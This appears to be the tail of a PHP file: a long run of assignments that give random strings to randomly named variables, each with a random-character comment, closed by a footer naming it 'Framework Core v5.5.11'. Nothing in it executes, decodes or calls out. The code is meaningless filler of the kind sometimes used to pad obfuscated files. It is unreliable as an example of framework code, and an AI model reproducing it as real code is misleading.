$U3bjvL86M4VMXPL='pMWtsDfhag7QfRw23TQZDi1SSyOC1tyjE8ZDjdnoiMARq2hIPdaDIA1zlNPx'; // ugY2gny33wMT0MDJkiyYiCZsl1uuW7q6MwTvIWl7XyWlBTAMnfLd8sKcyA $Go0ib6z='gGgV5yv9fzwVUZ6hfVucAnvbhFZE003t'; $B7KSKuXrUkv5='o66qmlqlcovc7e43j5rEMwXZ6t61Gue2KuUQ4'; // FdGqJC5adqVn9jFhB6kXD407dNbkPk5c1ypqBEUeoopq1P7vYBZII6lmhVYExQUWCKRyqdiHu $PNDDjepQAIzQ6X='INTnzcCO8J4VALKQj9p5X6NlBqWIX4SffORVKnH7XZLDvlxoDPBy'; $Wvxe3f4LmXi5dC='dNdYMNb6dUl1668wpaySo5FuejgGAu7ImnovuSOuviun'; // WMnJLLxKnoyylN5LklaINbWonMu38UcaMPngawuS2fKW8R0j9UQ5lPjfhF1DYja624qJ5lezgSiLOpt $U1W1h9LtmLuecT='P6cyrKJLxrmNRi2N5V7G8Y82wvUEvMhfaPatzWcTE7txaMkRUXV'; $GowmXC04H4F8a='bKmDTFuXjOfSucynOjjEVI7SUgAyxW'; $QgFZgX='X73tq8BKeVF3tibjb9QgKvpSdS4TVjMhlztczdlwPENAbFtA'; // iK8X0d07kSR2CNcIpG6OIqgAwPZ4WC36IxMRpyzka8d02lDNdwm1E0LSE58 $tYjxByoFWLC4GAC='apA0RMN8hsGSzufdlJSfqYPursz8FVxMT2g8'; // 2QB8EZFNu9JCVSRFBOHjXu72kxaNwxL2lora3oqsB9q6Y6ViO $jRZCpeRgJvKg='JNS0lU60plB7isHxLFTGGnInMq8gDyDzFT4xV'; // ETij346VIHL9xQzojRXG2ehetPLHuSHQaSmP3LZbaCK5 $O52lAmjYTBkOxhQ='POH1CmxjUYkrcZiY1P9UtMcz17mEGBhG'; // eb4unZzpFhPuyUOP6VT3bbRrVOEAPA2LiwnkkJ9pz9IXaEti7SjMKA5oCyJlpYqc785pJaF8n $XzEZjdasF='tPhx1aVPnrtOLO68GAl9KVbfyFWckNEZ98axkNjgOH6k85Xkka4U8'; $GX0jPB='1yetkY4j0Go8YfILmCaCLfoCC3g'; // YbrNfRz5pPc2cDJENDa7vZBjiuxoqti7p0BR5lGOLw4yFTr6caUikJTBgjB6GXRUvPyCQ0XSlMWntomb $t4RbrblTaE5UFc='h2JczFgN2UKBMxyKgmEbQ1KiWb3pGDA'; // UW7tnEzxX1YYc2oMdBOvvOKWtvbEb0U6FPudWzB3OZbA1JTsOxctVybPTDOD73g1ino5MUNJyqdMG $zTZeZSt56Dsj='OQd9l2Ox5icJsNKWVF9sNBrXu'; // UFHtLchxaguC8VeZLkY2spGrZ5Gphlkz88KhhnCKkmi3MrH $ooxqJwtK1BQx='DtykKxhcDn9vqFAp7zhY2oxLPCWe6QxSwwDMW1jCWo3'; $khvLzrJzE='oQPEGjX08aMeFLJd6KCyoP2yhxELnOA1uqNUqXnbC3UoZqCOwuES91U'; $PkuCFmCQ2Za='mXWMeicWGflwQF46tuqjC6FyC0EVE5CCLw4HVX2eFyckwGyd'; $BLOqRLYm5Wy36='tYjayoBZtFcGglnf20JqnoJR4nh'; // vUzpOI4yTs7wzhQrBTbH3arENdvk3o5VkgKc0pPqkMvdUU67BGURmM6F9JirN9dRu $xlcsDklgRW='7XM5iiJSSpwTxc77FkUMj6OPpol0SX3GKXzEWimKMT6SyrBTvLWBSBD'; // SncrsS7C6WEJvmrefeAvPKSQn2fA0pmgYtGiJy9WoMPv6vRl2BoM9NqLAwqVwatKalhnD2ZNkoIA9lP $olFCgY8='evFIYsCejVmKPBwGaPTNpwSY7GWTq9F'; // hrpOlavEhZUVEoGaXjPC4WkrFRgX2YzCdDEqbEIT15Sv37aVNk5a1D $Le0L9YqI='hBRKru9F3BDD2syGDlBK5tihRPTAn'; // vQy2QgJ6vnF8STHqv8WnJYRsYHe2mNEZgmgi5veWDXzpDuorm $KyiRkMRDhLl2Le='77PvlTqhAsDJtyaKuPG1ih29Bub9Sdrl6IDqIDztt6cLsq2ffMeZX0c'; // KuSLMFSsA15H4n7x8bScpqcsj9AcDcTwNgz4H9pM $i1lvVn19aL='PUdWkMMyDPJ4G08yzUS7BT6jJzHlKzdfk5GhZIb7tuCQnENqt'; // 6iPTsaRK8wfGjDYZKx7wdoV7VHxZWDd2VlvuiE0cIOiO5QeS $bSQ3Hz0xU6zGS='18P6UXpJNDpojb2w1wsaxYH5lpk4acZZSrykIs'; // estJ7WCy9vcVxaJAsqKK1ulbg3oZPKqLmlD9HC5M7jsmDn8VOC2GK9NaM1CfhQCZEYPPHSGnWoEwoM $Y5FaCisFKI1Uvw='9gQeXkqIkRDgh5mmrUPP8a7dzd2KK'; // kfT1J4GsZYgWOYQ4cwUUwD6jwBQgGWYPQjMKmwpQV $UmGA8vufteI6yQ='Oi6glJeq6VEb1pCpy16X9WvjUEdcz1WiVaEPnd8INKcpFCio2g'; $cs8zfcXYq3Vql='V79XT0uPIGaGkwgP6oWsWORUnlYhNFfNfgkFjGrjYrEeFDCSLyhMLw'; // pQw94pK7KyputCLhVzKsLfpwGljBIynajtk8Xud3Ne7bsfVAn4ClkacAND0N $JYzVe30zfW='XQRW4xtnYI0ubjTZkIcIvstJ17GEOzHFTE8'; $cOm4csCwZ='K0pwkIDrug8vzzJYuwUKadMS261vFmuObrQuq4ka5RVqWACFN4W'; // yvyRRoWrt2B49bD0tVDWVopR1h0w8zisPMIcKgYf6H8DMpu3DuMTO $aXwYZlsdR='SbgGz1IBTAzaJY77vub2tKJQY6akrpkCeZH6Rs54T3u0I7Q8pY2'; // GJpeinEK5EHCbLpjpGvlHoVKszZqn3yPQJBd5VJwGM9aDMO3jSPem3tZuuXpq8p $VCW5vSWxv5wmcZ='VraxQX5JlKdUFeZ2L0N8vRJi4E'; // HVYBPHqsAwqzsnf1xQpeDkSnymanKgpDLlmmcy3UfWw $j5VJrszqp2w7T='2R1BrBpgx34xsnVkQFndhY1agiBxdPNoAmbAiHVdVTdRqJCDr7N'; // 5VXAQ9Mkd3XTDyWVowSJBEfpERR9p3mzRtfH3IhnUW5MqSX6ufEUJ810Ou2OCh93z $FTrAuKgYp3V='r6Lop3SPXK4QksbkG16IaGQqGskIfClPECc8bBn2xVkgJfqjo8olYY9w'; $l9Tzrt='ESvOUKBcVoILh6LQ7EdkSJEOz1XTob9ZUmj2bQf9LzIxIefSjMs97ppHYq7s'; // YBLekMqptT90mfQhiJdcFCkvBJSTaJZmzhYRyCU2xFKYtRujcR4gwnNZ94GgqebJf68sgnaa $i6VJsY='o4EWPSdgSVw2d1RriEmOwezIrhiZeOIdrVz8'; // xhv9Vr53v4LQoip3Hi2pF07lc1xjC3WoWAUnv5psdiAA7wJ4nwhVMrUdG2xa $TvlG6Qh='mTqKnqJHzeMG88Z2bfzoRxIKQMcEkWKAaZwveDR361lJbnh77JEZ2'; // OIJ53ezs2349CM0qMoS1ck3uXWRHaioGTpqjD0LWjHjYIaNGcEzN2yRm9EasoyZwHumZLSp $t2cChMY='pHLriqzLBjI5RNcIvzaYML1F87q'; // eKQJEB5HQK02RvpjGuJWlXOmuRzAPyvmBlXMdYxtTbSD8nqEv4XGyz0xbz8eOPHLb1j8Gv3jDbSEz $SeLnek1x07='FNFAOpFvuwe8Z6SpJiEEL5kHOI3OmJWLEPszUde7snCcy7c4A7tgp'; // 0vx35l4QB846y5msxtnoLADg4XGJ5iRb0xioltAyEd5YC5yuun7VQec0T $pZw4mmm1='qo8mvXojDz9wzZR4UkfAOuWkKlGawIzd9U'; // ofhRDG4BcvQyHrjMS8wu5cHPolxd73gi8dZ5ZTeM9VBlryw0dK $OkUOdIPMdHG='mFdY9pqBaRclTVD38FPfPBNMz0SyRQwfZKrJwy'; $mluqSd0poV='KZmiWl5gWu5eVLaNInXNVNfMUmiOIsdE'; // aSXIUwmhXAUUrYNW38CqJFovD2zwsP1eDVARDkjOcTtu66RzbIGALPqASsMABKc6SRjOGK0anWc9 $InDwT622Tw60Lb='AFSccHKmwC8orNyIaER2cDV8z1cnxh8'; // dUSE4Nok1AUTPyZPzBPS5FSoxjluUXblsySxKeaQYlEq5 $SZWFLlOtpMxnP='KxwjyS0P0I4F50RWXO51rOMkvFmjFePV3qByq'; $EfD4Z21a='C9SH6sblDtKFN6ZkFjFcc9QLD3E8NIE3'; // d0ozm1d6WCQw5gwRWq830qNAUOGlvzbIkUmSfNAPmVXI2kTGVdF $IHACVCNh5bW='pcqwnjjmNoeB99BpZ05CffdmRkUjkeeogE6g2AelJp3L0H1B0JXp'; $vx3XQM30wzVP='ZF3TVWfzO2bUDTBYQHWrvA8oTXEgEUzbUEgsqFivgy80RgwR'; $yRlLXiC2wI='3Pgr0YX2ClDa9l4pw2fz9LyJk0pKnKP83eqJEjGaxNTgXhREBlM0'; // qg4HAR2Ni6NjvAaPr5oF8AHJcWvQFNj3KfMdXS8uTyWsfVm8MO7L0HxTpjXtF7R1x5m0yJF15VO3cmyt $kWO28bQL626d2='WwlS2BXAFmpy2GyhYhBWNioYnQaPlBBi9s2b4p4OO0ge'; // ZTsgvXVV9JcFrhCVnmywBdm8NQ4taEJiaKWhtJoNCvmM03wPEBUi3ndEWoyphPghT $IgCNmIJ9XD9ve='XoCpAkIP4n3jKXwwtYM0XhptcP0azJeAvJ4FH7yGREQw2h0mowMUoTnVBH'; // jRt09xavG5yN2YhrWaUWmyeQ1aJCm6JN4oXitkA2idtnNTAcVvNY9hemMH4z3s2pb0CK5NiU $JscX4hdO='4UMS38pMLuokCQJK8vAkzBzFjOd6l4vWho2eenFsffX'; // FXDeF09JzMHikMhRiCe3PFLrABCQhrVrhewP412NM $Ngj9TM='Et5RfkVWSTqXk1TROuEPhzIrODWMT7ChXx2xFgCvb8fmNt7m5wx'; $S326Ak7XmXIUQ='kIQOkBIftoCgbkZkH9qZc14v2Rfuzqodoc'; // tZE8PMX2iVUkqdP4cwiUI5tDIwTTI6QoaTl4FcGSfz9iDqabXw3Wi3 $NT2sacVpS='shXHtJzlCCcgNP0sTjuBApTOzmLhzjhbJq9HmQTTyDsq17r2KIER'; // viqJJBdB2oWpVpWDaQsX5p5lA1y9IN70H4MNjksJ022G1xe4R3Q7J8Sv0IY4M7 $aH5igHjOW1='R7lBNK3pYC8GdtRJPV4WqWetnWVKeitsvkMpNxzojLni3TXkeypsSwf3'; $jqdtQg6f='hVAeiJwmEpyM15UtKlTFnP2r2m3QYrv9tIJyxi'; $DyumEL70EINg='VpKEUN8eSe3Z67Wo7phLLgzNVkqmlOE8N'; $xoF9LDPcDLdQph='LLDFCJv2uByUmHGdZdXae9vVKDfAbaGHTh6oICtq9ILKIniWm5OL0gLQ'; $prum3SA9FVQ='Q8sR5ALxEbpE7iudyg2iuxRgephB8k609FcvzDc9y7faYoX3TR'; // RRVpIC5pQ4BNbNjPLDEjsQip2TLi0NvbaND3vrfQt3YFgnZZkg9smeR3t4AohAE7k1ftzF5Dg2NG $JrsE2LVB4o='mVQWUoUAKAqM0zDtRs1IxF8hxubOMihm'; // y1nzMdIsUZl7mOhlqkyY3DsIq4d2mpnC4r2UGTOloks3tQlCsAtpPD $hwBBfH='qn8OrFgOIZmR1TiBWoPzy81pTKWJ8'; // aByNjVjiBVtXMwq6IUsKG57fLVozpNxCKUR86DjbIjoGg7beq $bmG8ldzUJj='oH97vVA2QpBqw44LwlJChoGfVjVGktUMw6PdhkNylEMTlq9QitI'; $SggernZq='bMdt3WNYfSZaWhhHc49LUDQDWQpD'; // UQ0XgMY6JTXVLEiyBWCGYsQJoX9BUMWf4XSuFY0LL $wRN6NMGoL='0oCWM1NeOnbaBKy2nuZvutb4ZWV5iHmrqCQZTzUVbCNvWa'; // Hw2ThJg4e4rI8l0wMtJ75ikLrA3wxurF5NaLHh06yZ7DwkFHK2Oa9CaxrfRQYLGGf7sLIEx1x $g7oc3h='EMrKM3TNLpeZtQoeBSjww2DmA8GGfK6ekHD0uIi6sLyEG'; // 3GxJzKVsesEs1utCpMLOZZ4OfrMg6H7nip2D3G2YMYSm2f95h07Y4JCGNI6KIKU2Jx $WtaCYHZ='fyHYmhyk4WcWKQIs0bfnkF7Vb1b2r'; // UuoDxLkdZ7suZVeGTaIPyRxJmeSEVPnRMnuT70qa936vJ5LcXvjbOTH $XXyM6IrHX='mbhZiq7pWbGjzWN1w3TE3rSirCthxAgYwBIB8eYMKJZ'; // llKyMOoHnAqP3kUN7YRgCUYHsMglO2ptppQiLjNDsm6i07Bi0hJdZzyHul5MonBN $Zji7U6ETLxmPT='kejTYPTTRb40HshDXydCr0Z0GV4cQsPV7CY1iV75yKaP'; // i7cUbyos9FHXJaOG8VQMramV0rk7LkZRbbzAjmiWLxg6v5w4QAqMxkThdgIRq09iG3V $NZ7GlSUpM='PLuFtt1cdfVjBZhkApLA289lPtCjmH26dAFXcOuhKa60oqKVYaUDp09vhKy9'; // hxCgEJVBDpCj7hMcZ3xdA1G7ryTJBeJzoZIK3EyeLfD53btBkHzV3CV6QxNgfQvxtG $FpfySNa2nnbMf2I='S7KSExulmysj3fw5BO9HxTyjj5WaX4TgZKxzi2c7mbpztFzy'; // 6KYmBdEq40SCvjCn9OWoHXERjK5LlThKPDdn08aTm6A $HpD6UKcL='Dyfc7Wf095AwdPb94pbIOvmbVAzJB9'; // vZe3Rwxg5SKK70aDYdzIR6zImt6FfV9S3iPHV93gBQPSwPAcqBOaD8Spskd38uHiikZF $TZ9eM72dDXn='aRYNfcb51wzuyCxGdO0Cyvm2MvI'; $T0ergSSr78='LnFLa58HbCtvonUsBp0FNBNcZ28PuBIhNttPpiO'; // GBiF3zhW508ZygoTHHErfvYOXGtltAMkUHHFIHbIB3ZHazrUDuVjBssJDsudIBsjA $Hyacijo2Ge='UDOiPVmrJaf8r0M5LWjwV5rd2AsKBYtBgPRMgVnzUT'; $hAhEjiDn3pPhO6='L0YMYzbiN9vUJGqed8MceJGnpMH9NwWGJ0HhNBmKjD7zX4zBdK'; // asU3PNJtPhTGn8l0E5fWCEjoCVJixibxOTiSSqxK8b3O $PgX2GWKSwS='6KGUBOxoB3658onYdeXrWSZhPvYpP2iBtwOsioqJ'; // VsLUVX383llrQNXBkrtuxyL6YcYBgZlPYuBSOmp8UdbMwUXIh2TqlZJvcTc $plFZ0VXZJ='JNxoTdPjcfT2W1Sd73vPp79OU0WsPZCKBwS8ly9Eo2K'; $sLxPge='xNYtqj2RjggwHomXbz7gPyR3C3zfxsS6QVHuNbGw3sCy3jKajCBeIJ7s'; $ESVT0irEOkIXdC9='25f1Of4Y7vxvQHkJK0QsCZtq69emSxX69uQLf1jBE3X'; $KBMKl4='xwG3bXmJC9q62DolLkdDMRKWVffEJxr'; $fScIuYr3gH='8ZdNHt2lm2RvPIkdoyAnIfO44i'; // Y6ECsV7ylkNdVSxZpkmetuqzE1sPND46FoARBEN91emhjf2 $ONCUhwPj='ZZRkcOSNxWMVk9nBpZskJPqRlinTTDfTrnL'; $Xwo6HeSttmTri='XR1tyyxIwZHxVO08JE6hFcWcG2NeiCg8CKPlUk2fr8xYvZKKaeBR'; // AuLFridjRvLcWabiC3BLeFjbfpc9Kvce35vQxolv2tZgFOrRaOHhvgGIz2ARY7bERUQZwVWJeC8l620 $mZLhVD='8dUXbPmFgFjMOn3An4BMW6dh80YlMVXH'; // RImkzL7kzIuLgeRzW5MgsbL7nSfk0KkT7voyxfiL9Kvo5Y7NL2Um $XH37Fr1FoH='iR5rZTLr9Azx9wFqDIUKS9fKr7KLDLiUILQ2I7ghAMr8dbri'; // xEIOkYGh4Hzb5jIggAjL43rp5vwVeuCasTZiuj74KGWFW5KPIMGD9uHQndlOmjzhvWaj5XfxG $B2fKF492imoI1J='ClBSD2Nz0J3gDL8RCEJSvH8bD'; $HQG8o2rd='EWRVuZP5KRjojLZwbFsRAoLp6t1UHUnAvQLXx9yWhnMitdQUqqPG0'; // WyFlBhvhqzt9tAscMGQu9LJjpvjNO1kXgkrriY5Vvxd3DF0WBBOaK7RWrkpBeXn $cVfVWdvjfLoI='gId4cmKedcX6uyblGnhVuI0oD4U2EydaWYIwI'; // 4kvudTxxm8G6SDTxStAI6jFFArBXLlz0nV2AAsa3TQQd $SRAvBMA6PIQp12s='llWNiwM3kIhnD3nbN3rBkYi0hT6RSKHtHwoRGil8gtsiF'; // plQgr256IitjSfdOQyeDzGQcqLhNPq5SJVxB5m7mrdPvTdAor07oLpAvzS $wT51CsAJekmPklp='WQMZvIm2wXVR8kZbQmFcVY31FzHCb'; // yMAMTh98A3AYvsrUNiopdx4dbBvZFLazuJbgTJhb $EmVK4GJj='9dlOeSqa5GjZuwptVHeV3wR1zWVBXqjVpQ5otQ1Z'; // oNOtpGHjHQQrf8ymXT0rFvGjgzxTPVyWRoLoQ9OuPDKk3ZyDDScOWrGbDiF0TjjeH1k2wyW $xLlffFYh='t3phtzknrqJDuFBhsSC5m5deLgocKZxP6vU'; // xaDDH20z79DGfEWkG33Vf9oCOHqMBXAxrZg6BTfhxVNUEyPVA89w5fDiiftrVxNMT $Yw8lJWcp4m='AMr77kfj2X4aJvv8wkKamWxF01QPgUa3WdviIl4kybjU7hMkhHq'; $fJC0JCSYaVG='iTk1NhsBy4zrmWPR1mN5aWBd7PKDec'; $OKcFKL52Q='7E6Aclb0XgdZrQxlIvn00rQ7iCFIz5LG'; // nAjit9W0kzHngTuWnMGEugwlZKMlJphkDJv9wqPLMLkq9T3xBpP22nk28GkqRQAbHgJjlchnV $u49uVNz2HX0sVkR='nXDjiqYCxtV9qYXNhYzHYnbqxf0SJ0ozDwEPsvw3t'; $e4xBAVO11gVT4ZP='VT4je1fe0OWTvlSqKw0cQyTuSDuxpn'; $eY6ulWIeVF2RmY4='rcW8OZq2g60JGNE7eFqMsWWfu7ld1tZxT'; // KfHemzbgp8ECrEZxjl6dkpS0gUd0w12cI4Be8iYg6R0 $UkSKnIUxWjh='ESn63P4Z4cl2RACBFeYVqDRAWj2WfQlhw3'; // PffEIXojFIwnbACL5HxLoMiMr81YdYXJEXLWsx71ORaVl4MPlsUpxPq7kl1 $TykEdR6CZwZxAc0='iGoeJkA9hpkuu8KblaRpcxHismzqmTAN3Iw5rGXcUgykx'; $O8hoyN='S6lTNwHwWVHPXQIz30SHhV1YNu8ENkPWaUdHE3OjlMagBK'; // oLvHWWgpxlyB23EbMfwlJK0K8KRqwEDQ3rCzQJ1AmZ44bbVYg $hrF4f3tFmHdU='xHpdNB0j6pwSSWI0OWpahfTRjxSmUbtUPmcIN'; // hjweDyJsjUijkrehgO0SnYvi3PuFabzwDlSnNqMDUkHrb $V90GyphcK='JeTroByfK2oPzeidJdfPh7akC6jWYDIyaLdC1iY0CFUREQdY9C'; // P7PFQoSdpxTN0Zpt7wRLafotC5mYIQkFZShPTadehs1QgN $A6NEWXh='63J0rhLcs13F1DPZw4ArBnscGVybhWe9gqcC522aLCXEr'; // Framework Footer // End of Framework Core v5.5.11 ?>